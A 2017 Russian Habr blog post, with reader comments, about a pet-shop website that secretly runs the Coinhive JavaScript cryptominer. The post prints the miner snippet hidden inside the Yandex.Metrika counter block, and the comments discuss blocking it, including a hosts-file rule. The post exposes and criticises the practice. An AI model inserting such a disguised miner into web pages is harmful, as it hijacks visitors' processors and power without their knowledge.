image
Буквально недавно промелькнула новость про Pirate Bay, который начал тестировать криптомайнер на JavaScript как альтернативу традиционной рекламной модели. Теперь же, судя по всему, нас ждет волна интеграции подобных скриптов в каждый мелкий магазинчик по продаже швейных принадлежностей. Только сегодня наткнулся на аналогичный скрипт, встроенный в код сайта zveruga.net — небольшой сети по продаже товаров для животных.


Зоомагазин и скрипты


Сегодня позвонил отец и сообщил, что у него Kaspersky Total Security ругается на скрипт для майнинга на сайте зоомагазина. И даже успел безуспешно поругаться по этому поводу с девушкой на первой линии поддержки. С предсказуемым результатом "Эээээ… Чего? Скрипты?". Решил ради интереса проверить — вдруг ложная эвристика сработала. Оказалось, что вполне корректно сработало — в коде главной страницы http://www.zveruga.net/ нашлась странная вставка:


<!-- Yandex.Metrika counter -->
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl');
    miner.start();
</script>
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter24517820 = new Ya.Metrika({id:24517820,
                    webvisor:true,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true});
        } catch(e) { }
    });

    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f, false);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/24517820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->

Кусок скрипта, активирующий майнинг оказался встроенным в блок Яндекс.Метрики. При активированном ghostery активности не проявлял, но стоило его временно отключить, как все ядра процессора немедленно нагружались расчетами. Молодцы ребята из Mozilla. Теперь многопоточность!)




Зачем они жрут мои ресурсы?


Сам по себе подобный майнинг крайне малоэффективен. Плюс требует наличия открытой вкладки со скриптом, что делает осмысленным интеграцию только на туда, где пользователь проводит действительно много времени. Pornhub не подойдет, да. Потому есть несколько вариантов:


  1. Сайт кривой — у них даже HTTPS нет на странице авторизации! Взломали китайские боты и напихали скриптов куда попало.
  2. Реально решили заработать. Почему бы и не добавить каплю доходов в дополнение к рекламе.
  3. Админу не хватило на пиво.

В целом, мне кажется очень странным подобный способ получения прибыли. Сжирание процессора на 100% — это очень-очень грязный ход. Все же о таком следует предупреждать пользователя, который не ожидает такой подлости от браузера. В Kubuntu Linux тормоза интерфейса не ощущаются, видимо, из-за корректной приоритезации, а в Windows 7 система ощутимо начинает тупить. Немного страшно представить себе ситуацию, когда каждая вкладка начнет поедать системные ресурсы, пытаясь убить всех остальных.


Adblock для майнеров


В целом, вся эта фигня похожа на смесь очередной волны malware и поиска альтернативной модели заработка. Уже много клавиатур растоптано в сетевых баталиях на тему этичности блокировки рекламы. Вечная проблема столкновения интересов двух сторон — пользователь хочет качественный контент, создатель контента и сервиса хочет окупить свои затраты и немного заработать. И еще рекламные сети сбоку пристроились. С распространением блокировщиков рекламы ситуация становится все напряженнее. Кто-то уходит совсем, кто-то начинает показывать жалобных голодных котиков или переходить на модель платной подписки. Большинство тупо превращаются в сгенерированную копирайтерами за еду скриптами помойку с заголовками в духе Роспотребнадзор обвинил селфи в распространении вшей.


Возможность выкинуть на мороз рекламщиков крайне заманчиво выглядит для тех ресурсов, которых традиционно гнобят официальные власти — торрент-трекеров, продавцов неправильного укропа и тому подобных. Но и для обычных посещаемых ресурсов это может стать интересной альтернативой рекламной модели. Основные проблемы заключается в нескольких моментах:


  1. Деньги капают мизерными крохами с каждого пользователя.
  2. Вкладка со скриптом и браузер должны быть открыты максимально длительное время, что в принципе не очень характерно для современного варианта прыжков со страницы на страницу.
  3. Конкуренция за CPU между отдельными онлайн-сервисами. Процессор не резиновый, а каждый норовит выкрутить майнинг на полную мощность, чтобы успеть урвать хоть что-то за короткое время.

Во все это безобразие уже включились антивирусы. С одной стороны, они вроде как на стороне огромной массы полуграмотных пользователей. С другой — что-то очень дофига они стали себе позволять в плане того, что может делать пользователь, а что нет, прорастая во все возможные часть операционной системы.


Кажется, нас ждет интересное ближайшее будущее. Ждем ответ от браузеров, блокирующих исполнение кода на неактивных вкладках. И еще очередного слоя блокировщиков. Единичные пользователи с радикальным NoScript вероятно опять пропустят все веселье.

Комментарии (180)


  1. JeStoneDev
    24.09.2017 17:04

    Стоило упомянуть, что есть блокировщики для этого безобразия AntiMiner


    1. Akr0n
      24.09.2017 17:49
      +15

      Стандартный uBlock с дефолтыми подписками уже блокирует, еще одно расширение, пожирающее память, не нужно.


      1. JeStoneDev
        24.09.2017 17:52
        +2

        Конечно, если стоит uBlock, то не нужно. Но не все люди пользуются блокировщиками рекламы (порой по идейным соображениям).


        1. smarkelov
          24.09.2017 18:06
          +19

          Мне жаль таких людей...


          1. anweledig
            24.09.2017 19:49
            +7

            Почему же? Редко пользуюсь расширениями в принципе, а блокировщик никогда не было мысли ставить. Не испытываю никакого дискомфорта от рекламы. Кроме того, очень даже полезно иногда в яндекс почте увидеть рекламу о какой-то вещи которую я гуглил некоторое время назад. Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.


            1. Ipeacocks
              24.09.2017 20:20
              +3

              > Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.

              А вот когда меня что-то интересует — я это либо покупаю, либо планирую купить. Иначе это выглядит как манипуляция, мне не приятно. Для меня это как вклинивание в мою приватную жизнь. Я бы лучше смотрел на абсолютно рандомную рекламу.


              1. anweledig
                24.09.2017 20:30
                +4

                Какой смысл в рандомной рекламе? Это выглядит неразумно, учитывая, что есть развитая таргетинговая. И что значит манипуляция? Понятное дело, что если хочешь иди купи, но у нас уже не тот мир где на рынке у какой-то вещи может быть всего один или два производителя. Полезно знать, что там еще предлагают.

                Я могу понять почему это может не нравится кому-то, раз существуют адблоки, могу понять когда кому-то нужна анонимность вокруг которой столько шума. Я не могу понять когда кто-то поддерживая откровенно попсовое мнение пишет, что ему жаль тех, кто такое же мнение не поддерживает.


                1. Envek
                  24.09.2017 23:31
                  +6

                  Когда мне что-то нужно, я это гуглю и покупаю, часто в тот же день. А потом ещё пару месяцев смотрю уже нерелевантную рекламу вещи, которую я уже купил. Фигня эта ваша таргетированная реклама, короче.


                  1. Zenitchik
                    24.09.2017 23:33
                    +1

                    А ещё из-за этого в гугле стало трудно найти что-то новое )))


                1. algotrader2013
                  24.09.2017 23:54
                  +1

                  кстати да, рандомная (неперсонализированная) реклама тоже имеет свой смысл. Можно сразу понять, зайдя на сайт:
                  1) кто целевая аудитория сайта
                  2) на что тратят в основном деньги пользователи сайта
                  3) что вообще сейчас пытаются пользователям интернета впаривать
                  то есть, чисто из любопытства, это интересно. Персонализированная реклама убивает такую возможность. Она лишь дает мне понять, что обо мне думают RTB боты, но не дает доп инфы об окружающем мире.
                  И самое обидное, что даже отключив персонализацию, получаешь не глобальную картину, а некий срез самой дешевой рекламы за клик, которую суют неперсонализированным пользователям (и распределение будет радикально отличаться от модели, когда персонализации нет в принципе).


                1. Sykoku
                  25.09.2017 18:03

                  Позвольте прояснить.
                  Вот я искал кофемолку и кофеварку. Вот я их купил. Вот прошло уже больше полугода, а Skype до сих пор мне предлагает купить еще одну. Такую же. Это в надежде, что старая сломалась? Или таргетинг кривой?
                  И так почти везде. Зашел не как аноним посмотреть новую АКБ к авто — будешь еще месяца 2 видеть крики на пол-листа — " У НАС ДЕШЕВЛЕ!!!"
                  Вы уверены, что именно в этом смысл рекламы?


                  1. alexeykuzmin0
                    25.09.2017 18:16
                    +1

                    Не знаю, как в Skype, а вот в Яндекс.Директе можно скрыть конкретный баннер с комментарием «уже купил». И тогда он больше не будет показывать ничего подобного, зато будет предлагать связанные товары (скажем, деткие игрушки после подгузников или зимнюю резину после автомобиля).


                  1. Ipeacocks
                    25.09.2017 22:56
                    -1

                    Может алгоритмы не могут вам предложить что-то лучше, вы не палили свои интересы и т.п.


                1. Ipeacocks
                  25.09.2017 22:54

                  Во-первых, сети собирают информацию и после этого знают что и почему мне нравится. Эта такая себе биография о вас, только значительно детальней. Мне это не по нраву: я хочу чтобы моя жизнь была моей приватной.

                  Эсли я хочу посмотреть что там делают разные производители — я захожу на специализированные сайты и читаю об этом. В чем же проблема?

                  > И что значит манипуляция?

                  Примером вы хотите диван, но как-то решили, что потом, так как может вам он и не нужен. Но интернет теперь думает иначе — и диваны теперь везде и вы думаете о диване постоянно — и потом его покупаете. Понимая лучше человека, его привычки и слабые стороны, сетям удается больше продавать.


            1. smarkelov
              25.09.2017 08:45

              Очень полезно заходить на сайты и среди тонны рекламы искать нужную информацию? Может вам еще нравится музыка на сайтах?


              1. anweledig
                25.09.2017 11:14
                +5

                В моем списке сайтов нет ни одного, где есть тонна рекламы и какая-либо музыка которая запускается без моего согласия.


              1. bertmsk
                25.09.2017 13:51
                +2

                Сейчас в тренде автоплей видевы (привет ленте.ру), а не музыки.


              1. w0den
                25.09.2017 22:29
                +1

                Например, я тоже не использую блокировщики рекламы, а когда открываю незнакомый для меня сайт, это позволяет видеть сайт «как есть» и сразу покинуть его, если вижу что «всё плохо» (на таких сайтах я никогда не задерживаюсь и по возможности никогда не возвращаюсь). Таким образом, я наказываю плохие сайты и поддерживаю хорошие (поисковая система учитывают моё поведение, и чаще всего в топе вижу сайты с «нормальной рекламой»). Если бы большинство пользователей поступили бы так же, интернет был бы чище, и вебмастерам не было бы выгодно использовать назойливую рекламу.

                Быть может, звучит бредово, но мне кажется, в какой-то мере данный тип рекламы всё ещё существует именно по вине тех пользователей, которые «надели розовые очки» дабы не видеть грязь. Но самая большая проблема в том, что такие пользователи задерживаются на «грязный ресурс» и это подсказывает поисковым системам якобы о хорошем сайте, которого нельзя исключить из результатов поиска.


                1. qw1
                  26.09.2017 00:31

                  Особенно если рассмотреть трекер, который контентом наполняют пользователи, а вырвиглазную рекламу ставят совершенно другие люди.


                1. Alexeyslav
                  26.09.2017 09:55

                  Ну, в принципе если вы заходите на сайт с блокировщиками он вас не видит и не учитывает, а если учитывает то как некого анонима по которому очень мало статистически значимых данных учет по которым проводится скорей как ботов чем реальных пользователей. И ведь сайт ничего не имеет с вашего захода, а значит реклама для вас «не работает», а работает она только для того кто заходит БЕЗ блокировщика — именно они и дают статистику сайту, от них зависит работа сайта. А раз кто-то заходит, значит и сайт востребован…


                  1. w0den
                    26.09.2017 15:34

                    Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт, это говорит поисковой системе, что посетителю не понравился увиденный сайт. Даже если используется блокировщик, не думаю что Google или Yandex не могут отслеживать такое поведение.

                    Что касается постоянных посетителей или прямых заходов — люди не должны задерживаться на «грязные» сайты, а перейти на «чистый» сайт конкурента. Но чтобы отличить «грязные» сайты от «чистых», нужно увидеть всё «как есть» (то есть не использовать блокировщикии). При таком подходе, мы наказываем «грязные» сайты (понижаем позицию в результатах поиска, не задерживаемся, не приносим доход) и поддерживаем «чистые» сайты (повышаем позицию в результатах поиска, увеличиваем длительность сеанса, понижаем показатель отказов, приносим копеечный доход даже если не кликаем по рекламе).

                    Я более чем уверен, что в «реальной жизни» большинство людей поступают также. Например, они не возвращаются в кафе, где грязно, хамят клиентам или адски шумно. Они не надевают очки или наушники, чтобы скрыть всё это, а посещают другие, уютные кафе, где оставляют даже чаевые. Чем же хороший вебмастер отличается от хорошего официанта, и почему бы не «поддерживать» хороший сайт, если хотим избавиться от «грязи»… К тому же, почему так мало людей задумываются о том, что блокировщики рекламы рано или поздно заставят «хорошего» вебмастера бросить сайт или искать грязные методы монетизации, когда «плохой» вебмастер просто будет переключиться на альтернативные методы обмана…


                    1. Zenitchik
                      26.09.2017 15:56

                      Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт

                      А как поисковая система может это обнаружить? Вот, получил я, значит поисковую выдачу, и давай средней кнопкой по ссылкам кликать. Какие-то вкладки не понравились — сразу закрываю, какие-то — заинтересовали, я их почитал, какие-то в это врямя висят открытые, потому что я до них ещё не добрался. Поисковую выдачу я всё это время не трогаю.


                      1. DistortNeo
                        26.09.2017 16:30
                        +1

                        Да, поисковая система не сможет определить, какая именно из нескольких открытых подряд ссылок вас заинтересовала. С другой стороны, поисковая система может определить, что ни одна из открытых ссылок не понравилась, например, вы продолжили открывать ссылки через короткий промежуток времени. Ну а дальше будет просто накопление статистики на миллионах таких людей, как вы, и её последующий анализ.


                      1. Alexeyslav
                        26.09.2017 16:57
                        +1

                        Переход по ссылке с поисковой выдачи учитывается, а дальше работают трекеры от гугла на самом сайте, это конечно если ничего не блочить и т.п. и они МОГУТ сопоставить сам переход с поисковой выдачи, время нахождения на сайте и какие странички открывал. Всё это делается по большей части через кукисы. И если их выключить — возможностей по отслеживанию поведения пользователя у поисковика станет гораздо меньше, менее надёжное связывание посетителя с конкретным пользователем хотя косвенными методами они ещё могут отследить перемещение анонима по сайту который находится под их наблюдением и отличить от действий других посетителей — например по TTL, UserAgent, разрешению экрана, ширине активного окна браузера, геолокации, IP-адресу и множеству косвенных признаков которые вполне складываются довольно уникально для каждого пользователя. Чтобы полностью себя анонимизировать перед поисковиками нужно приложить довольно серьёзные усилия — засесть в компьютерном классе с 20-ю клонированными машинами подключенными к одному роутеру и на каждой из них осуществлять почти одинаковое взаимодействие с поисковиком — сёрфить одновременно на одном и том же сайте.


                      1. w0den
                        26.09.2017 17:52

                        К словам DistortNeo и Alexeyslav хочу добавить, что ещё одним сигналом служит случаи, когда пользователи вводят уточняющие запросы. Например, сначала ввели «слон» открыли первые результаты, не нравилось то, что нашли и ввели «розовый слон» — очень высока вероятность, что первые места в выдаче будут занимать сайты, которые были просмотрены ранее, но если посетитель больше не посещает их, значит «что-то не так».

                        К тому же, далеко не все пользователи открывают несколько вкладок. Что самое странное (по крайне мере для меня), что некоторые люди даже не открывают ссылки в новом окне (по умолчанию в Google опция «Открывать результаты в новом окне» отключена).


                    1. Alexeyslav
                      26.09.2017 16:46
                      +1

                      Так вы и так грязному сайту не приносите дохода. Суть такова, что в отличие от физического мира, мы МОЖЕМ изменить место куда ходим — для нас грязное кафе будет выглядеть вполне чистым и приносить удовольствие. А если нечто крякает и выглядит как утка… в этом прелесть виртуального пространства по сравнению с физическим.
                      Вот те люди кто зашли на сайт без блокировщиков и им не понравилась грязь — вот они во второй раз туда не придут, или придут уже с блокировщиком. А те кто регулярно ходят на грязный сайт и их это не смущает — они собственно и оплачивают работу сайта и участвуют в статистике которую мы видим. И судя по тому что такие сайты всё ещё существуют — таких людей достаточно много!


                      1. w0den
                        26.09.2017 17:56

                        Так моя идея состоит в том, что нужно поддерживать хорошие сайты. Прелесть виртуального пространства ещё состоит в том, что можно потратить пару секунд/минут, чтобы найти хороший сайт. То, что пользователи «надели розовые очки», лишь скрыло проблему, но не решило её. Сейчас Вам удобно так, но что будет, когда все пользователи будут использовать блокировщики? Ведь, в отличие от хороших вебмастеров, плохие вебмастеры никуда не исчезнут, они лишь будут использовать другие способы обмана или будут заставить посетителя отключить блокировщик.

                        Что касается тех, кто регулярно ходят на грязные сайты — не знаю, почему они этого делают, но как уже отметил выше, я знаю, откуда и «благодаря кому» на такие сайты попадают новые посетители.


            1. Stroy71
              25.09.2017 14:31

              От рекламы в яндекс почте блокировщики не помогают. Во всяком случае, не adBlock+


            1. vlivyur
              25.09.2017 15:36

              А покупаете прям с того баннера или всё же гуглите ещё?


          1. darthslider
            25.09.2017 14:40
            +2

            Я не пользуюсь ресурсами, где реклама слишком навязчива, вот и всё. А пользоваться блокировщиком рекламы на ресурсах, которые тебе нравятся и ты им не донатишь не то что бы хорошая идея.


        1. ActorComplekt
          26.09.2017 18:09

          Попробовал поставить uBlock — на этом сайте как было 100% загрузки, так и остается. Не помогает он тут.


          1. vorphalack
            26.09.2017 18:48

            а добавить нужное в фильтры?


            1. JeStoneDev
              27.09.2017 07:58

              Не надо там ничего добавлять. Уже все добавлено из коробки.


      1. ZoomLS
        24.09.2017 19:17

        uBlock больше рассчитан на блокировку рекламы и по готовым «спискам». Этого мало. Ведь можно обойти его, превращая ситуацию в вечные бои. Но можно решить вопрос на корню. Блокировать все левые скрипты, которые не отразятся на работе сайтов. Даже не только скрипты, но и запросы на другие домены и т.д. Здесь помогут такие инструменты как: RequestPolicy Continued, uMatrix и другие.


        1. Tallefer
          24.09.2017 19:45
          +1

          Не совсем так. Там есть (похожая на uMatrix) система базовых настроек, которая позволяет глобально порезать 3-rd party объекты. Вот, к примеру, эта страница:
          image
          У юблока даже в описании заявлено, что это больше, чем просто списочный блокер рекламы. :)


          1. ZoomLS
            24.09.2017 19:56

            Может быть я и не совсем прав. Но использую связку с несколькими расширениями. Если пробьют одно, заблокирует другое :)


            1. Tallefer
              24.09.2017 20:10

              Имкнно так и надо. :)
              Но и с точки зрения «поставил и забыл» — юблок тоже хорош сам по себе. Если что-то вдруг понадобится обуздать, то в нем почти все нужное для этого есть.


            1. algotrader2013
              25.09.2017 00:00

              встречал рекламу украинского интернет-магазина Розетка, которая пробивает стек из нескольких блокировщиков (и ручная блокировка AdBlock Plus работала до нажатия F5). Подозреваю, что на каждый запрос генерируется уникальная рандомная разметка. Тревожный звоночек.

              Хотя… на подходе motherboard.vice.com/en_us/article/9a4yny/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race


              1. odin_v_pole
                25.09.2017 11:15

                наблюдал такое пару недель на сайтах gismeteo.ua, sinoptik.ua с теми же симптомами. Сейчас уже все хорошо.


              1. Alexeyslav
                25.09.2017 16:13

                Пробивать блокировщики не имеет смысла. Достаточно сделать одну подлость — рекламу не отличимую от контента. Это сейчас её относительно просто выделить и формализовать правило блокировки, а теперь представьте что и реклама и контент будут идти от одного CDN и иметь очень мало формализуемых признаков по которым их можно отличить… отключаешь рекламу — отключаешь и полезный контент.


                1. mayorovp
                  25.09.2017 16:18
                  -1

                  А зачем мне контент неотличимый от рекламы?


                  1. Alexeyslav
                    25.09.2017 16:25

                    Неотличимый для блокировщиков, например использующий один общий CDN так что только по домену рекламу от контента уже не отличишь и попытка простым способом убить рекламу убивает и полезный контент. Сейчас считай почти халява — большую часть рекламы можно срезать с минимальными затратами просто анализируя домен по спискам.


                1. DistortNeo
                  25.09.2017 17:06

                  Это будет сделать довольно сложно. Насколько я помню, делать рекламу, неотличимую от контента, запрещено законодательно в некоторых странах.


                  1. Alexeyslav
                    26.09.2017 10:00

                    Неотличимую для блокировщиков — на уровне ссылок на ресурсы с контентом. Например, баннеры могут располагаться в том же пространстве что и полезный контент с точки зрения браузера, но располагаться и выглядеть для человека как реклама — это чисто технический вопрос внутреннего устройства сайта, куда законодательство ещё не проникло.
                    В конце-концов, каждое изображение и/или объект сайта будь-то статья или картинка или реклама могут запрашиваться с сервера по длинному хешу и поди определи по запросу что это рекламный баннер или полезный документ. И списки блокировки резко станут неэффективными чуть более чем полностью.


                1. algotrader2013
                  27.09.2017 00:43

                  Уверен, что к этому придут, к сожалению. Да, это куча неудобств, но сделав сервис, технически похожий на Cloudflare, которому будут доверять и рекламодатели и вебмастера, можно заворачивать весь траффик, и по ходу переколбашивать разметку, гомогенизируя контент.

                  А вот когда появится супероружие по ссылке, то придется, конечно, напрячься рекламщикам, и проявлять креатив.

                  PS: лично я даже поставил бы галочку в блокировщиках «готов майнить, нагружая 20% процессора», если бы она была. Мне мое личное время дороже процессорного времени. Без хоть какого-то win-win победа блокировщиков призовет пейволы, и проиграют все.

                  PPS: Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент, и после первого просмотра страницы участником сети, оплатившим пейвол, давать доступ всем…


                  1. qw1
                    27.09.2017 16:17

                    Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент
                    И тогда будут ватермарки добавлять в контент и автоматом банить аккаунты, с которых он утекает.


    1. n01d
      25.09.2017 18:04

      Ещё в копилку фильтров для ABP и подобных (uBlock в т.ч.): github.com/hoshsadiq/adblock-nocoin-list


  1. vorphalack
    24.09.2017 17:09

    так и сейчас ничего не мешает пихать скрипты майнеров в списки адблоков.


    1. mrsweet
      25.09.2017 10:18

      Всё же стоит разделять блокировку майнеров, рекламы и трекеров.
      К сожалению, все больше рекламы обходит adblock. Это наводить на мысль, что блокировать надо на уровне межсетевого экрана. Благо, список js майнеров есть в открытом доступе


      1. vorphalack
        25.09.2017 12:40

        а зачем, если они блокируются одним и тем же образом?


  1. ZoomLS
    24.09.2017 17:12

    Поставить RequestPolicy Continued или аналоги(был уже упомянут Ghostery), запастись попкорном и наблюдать шоу :)


    1. unwrecker
      25.09.2017 16:43

      Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг.


      1. ZoomLS
        25.09.2017 20:33

        Не под каждый. Можно разблокировать нужные скрипты глобально. И они будут работать на каждом сайте, где используются. Один раз настроить и будет работать.


        1. qw1
          26.09.2017 00:34

          Более вероятная причина поломки, что статика (картинки и CSS) грузится с другого домена. Но обычно всё чинится в 2 клика.


          1. Alexeyslav
            26.09.2017 10:05

            И так ан каждый новый посещаемый сайт… а если мне туда только на один раз? Приходится по нескольку раз перезагружать сайт прежде чем полностью настроить разрешения для него — каждый раз подгружаются новые объекты которые не грузились из-за блокировок на предыдущем этапе. И не факт что это всё — в любой момент может заблокироваться что-то новое а ты даже не узнаешь что часть контента на сайте тупо не отображается. А теперь представить что используется несколько блокировщиков и многие действия по разблокировке надо будет производить в каждом из них…


            1. ZoomLS
              26.09.2017 15:44

              Да, с новыми сайтами могут быть некоторые неудобства. Зато если там какой-то майнер, вирус или ещё что-то — очень спасает.


            1. qw1
              26.09.2017 18:01

              а если мне туда только на один раз?
              Схватить трояна можно и за «один раз». Обычно, когда кликаешь на заражённый сайт, просходит несколько редиректов на странные домены, либо эксплойты подгружаются не напрямую, а тоже с других доменов.

              Да, неудобно лишний раз кликать в подтверждение каждого редиректа или каждой подгрузки с другого домена, но гигиена того стоит.


      1. vorphalack
        26.09.2017 04:11

        два-три F5 и сайты оживают. хотя я на uMatrix свалил, и у меня по умолчанию сторонние скрипты просто вырублены нафиг. единственный реальный геморрой — это рекапча, которая ходит по тем же доменам что и гугломусор.


  1. Tote_Hoffnung
    24.09.2017 17:27

    А как защититься-то от подобного чуда, дабы не вляпаться ненароком?


    1. Akr0n
      24.09.2017 17:59

      Использовать блокировщики рекламы или скриптов.


    1. ZoomLS
      24.09.2017 19:11

      Установить и настроить расширения RequestPolicy Continued, uMatrix и аналоги.

      P.S.: Не обязательно ставить все. Достаточно будет выбрать какое-то одно и настроить его.
      У меня нормально получилось подружиться с RequestPolicy Continued. С uMatrix, так и не смог заставить habr нормально выглядеть и пару других сайтов.


    1. Kpa6ik
      24.09.2017 20:02

      В hosts вписать:
      0.0.0.0 coin-hive.com


      1. ZoomLS
        24.09.2017 21:34
        +1

        Совсем костыль. Адресов может быть много, они могут меняться и т.д.



  1. First_Spectr
    24.09.2017 18:20

    А скрипт можно как то настроить на потребление ресурсов? Например если бы он сжирал не 100, а 20 процентов проца, то никто бы и значения не придал. Не обязательно что бы пользователь проводил много времени на сайте, у меня например много открытых вкладок отложенных на потом. Ну и что касается малой эффективности, думаю расчет на количество пользователей.


    1. WaXe
      24.09.2017 18:33

      Судя по демке на главной странице проекта, можно задать количество потоков.
      Хотя в документации дополнительно указано, что можно задать время бездействия для этих потоков

      coin-hive documentation


    1. walkman7
      24.09.2017 21:36

      В конструктор можно передать параметр throttle у которого значение от 0 до 1, указывает сколько ресурсов оставить пользователю. На реддите также «попросили» не майнить на ноутбуках которые не заряжаются www.reddit.com/r/Monero/comments/71okng/some_advice_for_all_you_guys_using_coinhive


    1. vsb
      24.09.2017 22:15

      Процессор всегда работает на 100%. Но можно работать, например, 200 мс и потом 800 мс спать, тогда будет нагрузка 20%. Но это снижает доход в 5 раз. Тут вопрос — сколько пользователей замечают, что что-то идёт не так. Мне почему-то кажется, что выгодней выжимать все соки, в большинстве своём пользователи неграмотные и не поймут, что что-то не так.


      1. Hardcoin
        25.09.2017 01:14
        +1

        Что бы понять, что стало слишком уж сильно тормозить (и надо попросить кого-то помочь), грамотность не нужна.


        1. vsb
          25.09.2017 22:32

          Ну вот я открывал сайт этого зоомагазина, оставил в фоне, в диспетчере задач, конечно, вижу нагрузку на все 4 ядра, но в целом я этого не ощущаю, как работал, так и работаю. В типичной нагрузке бутылочное горлышко это ввод-вывод, а не процессор, поэтому загрузка процессора совершенно не факт, что будет заметна. Ну вентиляторы включились через полминуты, но они и так бывает включаются, совсем не показатель.


          1. Hardcoin
            25.09.2017 23:17

            Это проблема, если ноут в пыли и перегревается. Плюс аккумулятор меньше держит. Вот тут выжимание всех соков будет заметным. Если как у вас — просто вентилятор чуть пошумел, то вы правы, не заметят.


  1. IgorVol
    24.09.2017 18:20

    Похоже, что этот скрипт вставляется не только на сайтах но и в расширениях к браузеру. Один из пользователей моего сайта жаловался на то, что у него Касперский ругается на этот скрипт. Ему помогло полное сканирование.


  1. Tallefer
    24.09.2017 18:21

    Ну если судить по сайту сервиса, то они планируют изменить этот скрипт, чтобы однозначно спрашивать разрешения на включение (opt-in) у юзеров.
    (пардон за дубль комментария, хотя и статья по сути тоже дубль :) )
    Как по мне, это гораздо лучше баннеров даже сейчас (исключая смарты с их дохлыми аккумуляторами, разве что). Потому что доход идет напрямую владельцу сайта, поставившего майнер вместо рекламы или капчи, а не левым рекламщикам, которые, к тому же, трекингом занимаются. А этот майнер почти ничего не отслеживает, судя по его описанию.
    Само собой, это все не оправдывает тех сайтоводов, которые втихую такое могут крутить и не прописывать в условиях.


    1. Meklon Автор
      24.09.2017 18:22
      +2

      Как обычно будет пара нормальных скриптов и сотни пожирателей. В итоге резать будут все, чтобы машина не повисла от нагрузки.


      1. Tallefer
        24.09.2017 19:03

        Угу. В том же описании, кстати, есть упоминание использования хтмл5 хранилища для связи с другими вкладками, так что и тут уже проработали. :)
        Будет жаль, если их внесут в черные списки, станет только хуже — куча самописных поделок без разделения ресурсов.


        1. greatkir
          24.09.2017 20:02

          Будет «отлично», если разработчики данного ммм… «решения» освоят Service Workers (с учетом возможности создания не отключающихся со временем воркеров)


    1. vsb
      24.09.2017 22:40
      +2

      Можно подумать, что-то мешает майнить и ставить рекламу одновременно.


  1. Psychosynthesis
    24.09.2017 18:26

    Вы бы лучше рассказали что делать тем, кто решил таким образом реально заменить рекламу, а вместо принудительного баннера, скажем, поставил кнопку, включающую майнер, если юзер желает помочь сайту. Это ведь вполне легитимный сценарий использования, только вот негласное добавление таких скриптов в списки антивирусов всю идею убивает на корню. И более того, благодаря такому скрипту легко в какие-нибудь чёрные списки поисковиков загреметь.


  1. Akuma
    24.09.2017 18:32

    Ну вот вроде и хороший посыл, но надо же ограничтьва ресурсы, ну ёпрст!

    Я тоже считал, что можно заработать с этого майнера, при этом не вредя пользователям.
    Есть у меня маленький сайтец с 800 униками в день. Они генерят около 6-7 тыс. просмотров и проводят на сайте… ну не пять минут, но и не часы.

    Так вот за месяц при ограничении нагрузки от майнера до 5% на таком сайте можно заработать аж 150 руб. за месяц :) Больше — вред пользователям, да и прибыль увелчится довольно слабо.

    Есть второй сайт, который еще в разработке. Там предоставление услуг, тарифы 75/175/275 руб. в месяц. Проработал идею «намайните себе на тариф» и понял, что либо человеку прийдется майнить месяц, либо мне это не выгодно. Но кто будет гонять месяц свой компьютер ради 75 руб.?

    Итого, таким способом можно действительно заработать только на очень посещаемом ресурсе, на котором пользователи проводят очень много времени. Но, как правило такой ресурс (если он легальный) предоставляет какие-то услуги или продает адекватную рекламу и зарабатывает больше.


    1. Meklon Автор
      24.09.2017 18:37
      +1

      Меня пугает, что это начало появляться уже в случайных мелких сайтах. Следующий этап — будут вместо amigo в каждый инсталлятор совать.


      1. qw1
        24.09.2017 22:37

        Так уже была волна вставлять майнеры в раздачи игр на торрентах.
        Что логично, т.к. у геймеров хорошие видеокарты.


      1. Xadok
        25.09.2017 01:19

        Эта волна уже вроде бы прошла, или я больше на неё не попадаюсь


    1. doga
      24.09.2017 19:03

      про «75 рублей» альтернатива давно известна: вывешивание адреса для доната под каждой статьей. Бесспорно бывалый Пряников утверждает, что в нынешней России это нифига не работает, но не менее упорный Бабченко до сих пор такую подпись использует.
      Все нужно пробовать самому: давно и на многих сайтах есть фича «Заметили ошибку в тексте? Выделите ее и нажмите Ctrl+Enter в своем браузере». Однако по поводу нередких опечаток в статьях на Хабре такая фича не используется до сих пор — «ну, значит, есть на то веские причины!..» (с)


      1. qw1
        24.09.2017 22:38

        а Хабре такая фича не используется до сих пор
        Очевидно же. Кому понравится, если твою статью отредактирует администрация. А если перенаправлять оповещения автору (и автор уже давно забил на Хабр), у пользователей будет непонятка: как так, я отправил, а никто не исправляет.


        1. doga
          24.09.2017 23:00

          я до сих пор не знаю, что лучше: позориться опечатками или рисковать, что местные безымянные модеры наворочают искажение глубокого смысла долго вынашиваемой статьи. Лишние школоло-запятые, несогласованные падежи и пр. — все это можно разрешить для замечаний(!) в строго ограниченном интервале времени, как и комменты для RO-лишенцев вроде меня. Т.е., в первые дни после публикации автор, забивший на статью — так ли он ценен для Денискина? А ведь есть еще «редакторы», которых Денискин оценивает конкретно в реальных деньгах: у них тоже бывают опечатки.
          Но Денискину виднее — тут нет даже предмета для спора.


        1. Arris
          26.09.2017 22:45

          А причем тут администрация?
          Такой скрипт должен через бэкэнд направлять оповещение автору статьи (личным сообщением). А уж что там — решит автор исправить или не решит…


          1. qw1
            27.09.2017 00:35

